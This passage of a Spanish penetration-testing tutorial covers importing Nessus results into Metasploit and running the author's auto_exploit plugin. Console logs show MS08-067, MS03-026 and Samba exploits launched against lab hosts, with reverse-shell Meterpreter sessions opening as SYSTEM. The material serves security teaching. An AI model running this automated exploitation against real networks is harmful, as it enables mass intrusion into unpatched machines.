</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 21px; font-size: 11px">[*] 192.168.1.241
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 18px; font-size: 11px">[*] 192.168.1.237
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 20px; font-size: 11px">[*] 192.168.1.235
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 19px; font-size: 11px">[*] 192.168.1.234
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 20px; font-size: 11px">[*] 192.168.1.230
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 21px; font-size: 11px">[*] 192.168.1.223
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.23%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 22px; font-size: 11px">[*] 192.168.1.2
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 19px; font-size: 11px">[*] 192.168.1.192
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 20px; font-size: 11px">[*] 192.168.1.156
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 20px; font-size: 11px">[*] 192.168.1.155
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 20px; font-size: 11px">[*] 192.168.1.154
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 20px; font-size: 11px">[*] 192.168.1.153
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 19px; font-size: 11px">[*] 192.168.1.146
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 19px; font-size: 11px">[*] 192.168.1.143
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 22px; font-size: 11px">[*] 192.168.1.134
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.23%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 21px; font-size: 11px">[*] 192.168.1.113
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 20px; font-size: 11px">[*] 192.168.1.109
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 20px; font-size: 11px">[*] 192.168.1.102
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 18px; font-size: 11px">[*] 192.168.1.100
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 23px; font-size: 11px">[*] 192.168.1.1
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[+] Done</pre></pre>
</div>

<p align="left">Una vez importado podemos ver las vulnerabilidades que son cubiertas por metasploit usando el comando de <strong>vulns</strong>:</p>

<div align="left">
  <pre style="border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #c0c0c0; min-height: 40px; padding-left: 5px; width: 800px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px"><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">msf &gt; vulns
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Time: 2012-02-16 16:01:44 UTC Vuln: host=192.168.1.1 port=443 proto=tcp name=Nessus SYN scanner refs=NSS-11219
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Time: 2012-02-16 16:01:37 UTC Vuln: host=192.168.1.2 port=111 proto=tcp name=Nessus SYN scanner refs=NSS-11219
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Time: 2012-02-16 16:01:37 UTC Vuln: host=192.168.1.2 port=445 proto=tcp name=Microsoft Windows SMB Log In Possible refs=MSF-Microsoft Windows Authenticated User Code Execution,NSS-10394
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Time: 2012-02-16 16:01:32 UTC Vuln: host=192.168.1.99 port=445 proto=tcp name=MS08-067: Microsoft Windows Server Service Crafted RPC Request Handling Remote Code Execution (958644) (uncredentialed check) refs=CVE-2008-4250,BID-31874,OSVDB-49243,IAVA-2008-A-0081,MSFT-MS08-067,CWE-94,MSF-Microsoft Server Service Relative Path Stack Corruption,NSS-34477
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Time: 2012-02-16 16:01:32 UTC Vuln: host=192.168.1.99 port=53 proto=tcp name=Nessus SNMP Scanner refs=NSS-14274
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Time: 2012-02-16 16:01:32 UTC Vuln: host=192.168.1.99 port=445 proto=tcp name=Microsoft Windows SMB Log In Possible refs=MSF-Microsoft Windows Authenticated User Code Execution,NSS-10394
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Time: 2012-02-16 16:01:40 UTC Vuln: host=192.168.1.100 port=59159 proto=tcp name=netstat portscanner (SSH) refs=NSS-14272
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Time: 2012-02-16 16:01:40 UTC Vuln: host=192.168.1.102 port=62078 proto=tcp name=Nessus SYN scanner refs=NSS-11219
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Time: 2012-02-16 16:01:40 UTC Vuln: host=192.168.1.109 port=62078 proto=tcp name=Nessus SYN scanner refs=NSS-11219
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">.......</pre></pre>
</div>
<style type="text/css">







.csharpcode, .csharpcode pre
{
	font-size: small;
	color: black;
	font-family: consolas, "Courier New", courier, monospace;
	background-color: #ffffff;
	/*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
	background-color: #f4f4f4;
	width: 100%;
	margin: 0em;
}
.csharpcode .lnum { color: #606060; }</style>

<p align="left"><style type="text/css">







.csharpcode, .csharpcode pre
{
	font-size: small;
	color: black;
	font-family: consolas, "Courier New", courier, monospace;
	background-color: #ffffff;
	/*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
	background-color: #f4f4f4;
	width: 100%;
	margin: 0em;
}
.csharpcode .lnum { color: #606060; }</style></p>

<p align="left">Una vez confirmado que encontramos vulnerabilidades para explotar se puede usar mi plugin auto_exploit, el mismo se encuentra en&#160; <a title="https://github.com/darkoperator/Metasploit-Plugins/blob/master/auto_exploit.rb" href="https://github.com/darkoperator/Metasploit-Plugins/blob/master/auto_exploit.rb">https://github.com/darkoperator/Metasploit-Plugins/blob/master/auto_exploit.rb</a> en una maquina con OSX/Linux solo se tiene colocar el mismo en ~/.msf4/plugins para usar el mismo. Comenzamos por cargar el mismos y ver las opciones de <strong>vuln_exploit</strong>:</p>

<div align="left">
  <pre style="border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #c0c0c0; min-height: 40px; padding-left: 5px; width: 800px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px"><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 20px; font-size: 11px">msf &gt; <strong>load auto_exploit</strong> 
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 20px; font-size: 11px">[*] auto_exploit plug-in loaded.
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 20px; font-size: 11px">[*] Successfully loaded plugin: auto_exploit
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 23px; font-size: 11px">msf &gt; vuln_exploit -h
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px"></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 25px; font-size: 11px">OPTIONS:
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px"></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 21px; font-size: 11px">    -f <span style="color: #0000ff">&lt;</span><span style="color: #800000">opt</span><span style="color: #0000ff">&gt;</span>  Provide a comma separated list of IP's and Ranges to skip when running exploits.
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 19px; font-size: 11px">    -h        Command Help
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 19px; font-size: 11px">    -j <span style="color: #0000ff">&lt;</span><span style="color: #800000">opt</span><span style="color: #0000ff">&gt;</span>  Max number of concurrent jobs, 3 is the default.
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 20px; font-size: 11px">    -m        Only show matched exploits.
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 21px; font-size: 11px">    -r <span style="color: #0000ff">&lt;</span><span style="color: #800000">opt</span><span style="color: #0000ff">&gt;</span>  Minimum Rank for exploits (low, average,normal,good,great and excellent) good is the default.
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">    -s        Do not limit number of sessions to one per target.</pre></pre>
</div>
<style type="text/css">






.csharpcode, .csharpcode pre
{
	font-size: small;
	color: black;
	font-family: consolas, "Courier New", courier, monospace;
	background-color: #ffffff;
	/*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
	background-color: #f4f4f4;
	width: 100%;
	margin: 0em;
}
.csharpcode .lnum { color: #606060; }</style>

<p align="left">Para lanzar los exploits contra las vulnerabilidades que encontramos usamos el comando <strong>vuln_exploit</strong> , este comando analizará los exploits y vulnerabilidades encontrando aquellas que sean para la plataforma, nivel de viabilidad, limitara el ataque a 3 a la vez de manera de no martillar a los sistemas y limitara a 1 sesión por maquina:</p>

<div align="left">
  <pre style="border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #c0c0c0; min-height: 40px; padding-left: 5px; width: 800px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px"><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">msf &gt; <strong>vuln_exploit</strong>
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Generating List for Matching...
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Matching Exploits (This will take a while depending on number of hosts)...
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[+] Matched Exploits:
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[+]     192.168.1.153 exploit/windows/smb/ms08_067_netapi 445 500
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[+]     192.168.1.113 exploit/windows/smb/ms08_067_netapi 445 500
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[+]     192.168.1.99 exploit/windows/smb/ms08_067_netapi 445 500
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[+]     192.168.1.192 exploit/windows/smb/ms08_067_netapi 445 500
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[+]     192.168.1.153 exploit/windows/dcerpc/ms03_026_dcom 135 500
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[+]     192.168.1.154 exploit/linux/samba/lsa_transnames_heap 445 400
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[+]     192.168.1.113 exploit/windows/smb/ms06_040_netapi 445 400
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[+]     192.168.1.153 exploit/windows/smb/ms04_011_lsass 445 400
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[+]     192.168.1.153 exploit/windows/smb/ms06_040_netapi 445 400
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[+]     192.168.1.153 exploit/windows/smb/ms05_039_pnp 445 400
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[+]     192.168.1.153 exploit/windows/smb/ms04_007_killbill 445 100
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Running Exploits:
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Running exploit/windows/smb/ms08_067_netapi against 192.168.1.153
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px"></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Started reverse handler on 192.168.1.241:29271 
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Running exploit/windows/smb/ms08_067_netapi against 192.168.1.113
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Automatically detecting the target...
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Started reverse handler on 192.168.1.241:4643 
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Running exploit/windows/smb/ms08_067_netapi against 192.168.1.99
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Started reverse handler on 192.168.1.241:14900 
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Automatically detecting the target...
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Automatically detecting the target...
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] We could not detect the language pack, defaulting to English
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Selected Target: Windows 2003 SP2 English (NX)
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Fingerprint: Windows 2000 - Service Pack 4 with MS05-010+ - lang:English
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Selected Target: Windows 2000 Universal
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Attempting to trigger the vulnerability...
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Sending stage (752128 bytes) to 192.168.1.99
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Attempting to trigger the vulnerability...
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Sending stage (752128 bytes) to 192.168.1.153
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Fingerprint: Windows XP - Service Pack 2 - lang:English
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Selected Target: Windows XP SP2 English (AlwaysOn NX)
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Attempting to trigger the vulnerability...
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Sending stage (752128 bytes) to 192.168.1.113
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] waiting for finishing some modules... active jobs: 3 / threads: 16
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Meterpreter session 1 opened (192.168.1.241:14900 -&gt; 192.168.1.99:1513) at 2012-02-16 12:54:23 -0400
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Meterpreter session 2 opened (192.168.1.241:29271 -&gt; 192.168.1.153:2709) at 2012-02-16 12:54:23 -0400
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Meterpreter session 3 opened (192.168.1.241:4643 -&gt; 192.168.1.113:4035) at 2012-02-16 12:54:23 -0400
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] waiting for finishing some modules... active jobs: 0 / threads: 19
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Running exploit/windows/smb/ms08_067_netapi against 192.168.1.192
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[+]     Skipping 192.168.1.153 exploit/windows/dcerpc/ms03_026_dcom because a session already exists.
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Started reverse handler on 192.168.1.241:15430 
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Running exploit/linux/samba/lsa_transnames_heap against 192.168.1.154
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Automatically detecting the target...
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] We could not detect the language pack, defaulting to English
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Selected Target: Windows 2003 SP2 English (NX)
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[+]     Skipping 192.168.1.113 exploit/windows/smb/ms06_040_netapi because a session already exists.
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Started reverse handler on 192.168.1.241:48452 
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[+]     Skipping 192.168.1.153 exploit/windows/smb/ms04_011_lsass because a session already exists.
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Creating nop sled....
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[+]     Skipping 192.168.1.153 exploit/windows/smb/ms06_040_netapi because a session already exists.
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[+]     Skipping 192.168.1.153 exploit/windows/smb/ms05_039_pnp because a session already exists.
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[+]     Skipping 192.168.1.153 exploit/windows/smb/ms04_007_killbill because a session already exists.
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Trying to exploit Samba with address 0xffffe410...
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Connecting to the SMB service...
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px"></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Attempting to trigger the vulnerability...
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">msf &gt; [*] Sending stage (752128 bytes) to 192.168.1.192
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Meterpreter session 4 opened (192.168.1.241:15430 -&gt; 192.168.1.192:1597) at 2012-02-16 12:54:29 -0400</pre></pre>
</div>

<p align="left"><style type="text/css">





.csharpcode, .csharpcode pre
{
	font-size: small;
	color: black;
	font-family: consolas, "Courier New", courier, monospace;
	background-color: #ffffff;
	/*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
	background-color: #f4f4f4;
	width: 100%;
	margin: 0em;
}
.csharpcode .lnum { color: #606060; }</style></p>

<p align="left">Para ver las sesiones que se obtuvieron se usa el comando de&#160; <strong>sessions</strong> :</p>

<div align="left">
  <pre style="border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #c0c0c0; min-height: 40px; padding-left: 5px; width: 800px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px"><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 25px; font-size: 11px">msf &gt; <strong>sessions</strong> 
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px"></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 23px; font-size: 11px">Active sessions
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 21px; font-size: 11px">===============
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px"></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 25px; font-size: 11px">  Id  Type                   Information                            Connection
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 22px; font-size: 11px">  --  ----                   -----------                            ----------
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 21px; font-size: 11px">  1   meterpreter x86/win32  NT AUTHORITY\SYSTEM @ CARLOS-CD652C1C  192.168.1.241:14900 -&gt; 192.168.1.99:1513
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 24px; font-size: 11px">  2   meterpreter x86/win32  NT AUTHORITY\SYSTEM @ WIN2KADV01       192.168.1.241:29271 -&gt; 192.168.1.153:2709
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 22px; font-size: 11px">  3   meterpreter x86/win32  NT AUTHORITY\SYSTEM @ TEST-01BCDAF47C  192.168.1.241:4643 -&gt; 192.168.1.113:4035
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">  4   meterpreter x86/win32  NT AUTHORITY\SYSTEM @ DBSQL2K01        192.168.1.241:15430 -&gt; 192.168.1.192:1597</pre></pre>
</div>

<p align="left">Como se puede ver el uso de los filtros en la creación de políticas y el uso de mi plugin the auto_exploit hace que una descubrimiento y ataque sea lo mas táctico posible reduciendo el numero y riesgo al momento de hacer una penetración remota de un ambiente. </p>

